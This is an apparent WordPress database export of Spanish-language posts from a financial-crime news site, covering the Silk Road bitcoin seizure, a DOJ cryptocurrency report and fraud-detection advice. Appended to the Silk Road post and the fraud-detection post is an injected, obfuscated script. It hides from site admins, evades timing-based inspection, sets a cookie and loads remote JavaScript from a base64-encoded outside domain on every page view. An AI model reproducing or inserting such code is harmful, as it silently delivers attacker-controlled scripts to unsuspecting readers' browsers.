crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n 